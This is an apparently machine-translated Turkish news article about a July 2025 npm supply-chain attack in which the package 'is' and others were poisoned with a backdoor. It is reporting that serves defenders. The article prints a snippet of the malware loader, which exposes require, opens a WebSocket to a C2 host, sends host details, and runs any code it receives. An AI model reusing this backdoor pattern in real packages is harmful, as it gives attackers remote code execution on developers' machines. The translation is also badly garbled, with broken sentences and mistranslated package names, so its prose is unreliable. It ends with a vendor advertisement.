
En son NPM merkezli kimlik avı dalgası, her yerde bulunanların kaçırılmasıyla daha karanlık bir dönüş yaptı is
Fayda, bir modül her hafta 2.8 milyon kez çekildi.
19 Temmuz 2025’te çalınan koruyucu kimlik bilgileriyle donanmış saldırganlar, kayıt defterine 3.3.1 ve 5.0.0 kötü niyetli sürümleri kaydırdı ve sıradan bağımlılık çözünürlüğü yoluyla arka kapıyı sorunsuz bir şekilde yaydı.
Aynı tehdit oyuncusu aynı anda zehirlendi eslint-config-prettier
– got-fetch
ve diğer popüler paketler, Solarwinds’i anımsatan ancak JavaScript geliştiricilerini kare hedefleyen koordineli bir tedarik zinciri saldırısı gösterdi.
Bir projenin içine girdikten sonra tehlikeye atıldı is
Sürüm anında macOS, Linux ve Windows’ta çalışır, onu lekeli içine gömülü sadece pencerelerden ayıran DLL’den ayırır eslint-config-prettier
.
Socket.DEV analistleri, yükünü bellekte yeniden yapılandıran ve diskte hiçbir insan tarafından okunabilir artefakt bırakmayan yoğun bir şekilde gizlenmiş bir JavaScript yükleyici belirledi.
Telemetreleri, kötü amaçlı yazılım hasat ev sahibi adlarını, işletim sistemi detaylarını, CPU verilerini ve her değişkeni göstermektedir. process.env
Bu zekayı bir WebSocket komut ve kontrol (C2) uç noktasına tünelleştirmeden önce.
.webp)
Bu, Canlı Beacon’u geçişte yakalar. Fallout zaten somut: Bir geliştirici, Infostealer’ın kurcaladığını keşfettikten sonra Chrome Güvenlik bayrakları, zorla SSD değişimi ve toptan kimlik bilgisi rotasyonu bildirdi .npmrc
Ve .gitconfig
.
Çünkü kötü amaçlı yazılım kendi üzerine yazıyor index.js
basit npm uninstall
Komutlar tehdidi ortadan kaldıramaz; Kilit donanımları temizlenmeli ve ortamlar temiz kaynaklardan yeniden inşa edilmelidir.
Enfeksiyon mekanizması
Saldırının merkezinde, paketin giriş noktasının üstüne yerleştirilen minimalist ama güçlü bir snippet yatıyor.
Düğümün Dahili açığa çıkardıktan sonra require
Aldatıcı bir alıcı aracılığıyla, kod dinamik olarak ws
Kütüphane, şifreli bir websocket açar, ana bilgisayarı parmak izler ve daha sonra C2’den akan herhangi bir JavaScript’i yürütür – düşmanca etkileşimli bir kabuk verir.
get "switch"() { return require; } // bypass restricted contexts
const os = this.switch("os");
const WS = this.switch("ws");
const sock = new WS("wss://");
sock.onopen = () => sock.send(JSON.stringify({
host: os.hostname(), plat: os.platform(), cwd: process.cwd()
}));
sock.onmessage = ({data}) => { new Function(data)(); }; // RCE
Bu bellek içi yürütme zinciri statik analiz motorlarını ve kendini yeniden yazarak devam ederek, tehlikeye atılan paketin ilk kurulumdan çok sonra bir zaman bomba kalmasını sağlayarak devam eder.
Gerçek zamanlı sanal alan analizi ile daha hızlı, daha doğru kimlik avı tespiti ve işletmeniz için gelişmiş koruma deneyimi-> Herhangi birini deneyin. Şimdi